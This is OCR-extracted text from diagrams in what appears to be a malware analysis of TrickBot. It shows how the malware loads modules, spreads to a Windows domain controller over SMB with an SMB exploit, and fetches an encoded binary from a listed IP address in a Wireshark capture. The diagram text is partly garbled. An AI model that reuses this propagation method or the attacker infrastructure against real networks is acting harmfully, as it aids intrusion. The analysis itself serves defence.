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Initial TrickBot binary saved to disk (usually an EXE, sometimes a DLL)

This binary loads the
g;@;;\% | TrickBot modules

TrickBot module TrickBot module TrickBot module
run from memory run from memory run from memory
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TRICKBOT PROPAGATION TO DOMAIN CONTROLLER
FROM SEPTEMBER 2019 THROUGH MARCH 2020

TrickBot-infected Windows client Windows domain controller
= ] —e
— | ey e— ﬂ—=_[|
----------------- —.
* EXE from mshare and/or
S — .8 tab module sent over SMB * '
URL ending
module module in .png
* * mworm
URL ending URL ending module
in.png in.png *

uses
SMB exploit

returns EXE file  returns EXE file
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(~ Wireshark - Follow TCP Stream (tcp.stream eq 86) - 2020-04-20-Trickbot-gtag-ono38-infection-traffic.pcap - + x

GET /ico/VidT6CErs HTTP/1.1 HTTP traffic caused by mworm module -
connection: Keep-Alive ‘

Host: 107.172.221.106 — .
URL ends with /ico/VidT6¢cErs
HTTP/1.1 200 OK

server: nginx/1.6.2 TrickBot-related binary
Date: Mon, 20 Apr 2020 16:32:15 GMT :

Content-Type: Content-type: application/octet-stream IS enprypted or
content-Length: 106161 otherwise encoded
Connection: keep-alive
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1 client pkt, 77 server pkts, 1 turn.

Entire conversation (106 kB) & Show and save data as |ASCII % Stream 86 :
Find: Find Next
@Help | Filter Out This Stream Print | Saveas.. | Back x Close
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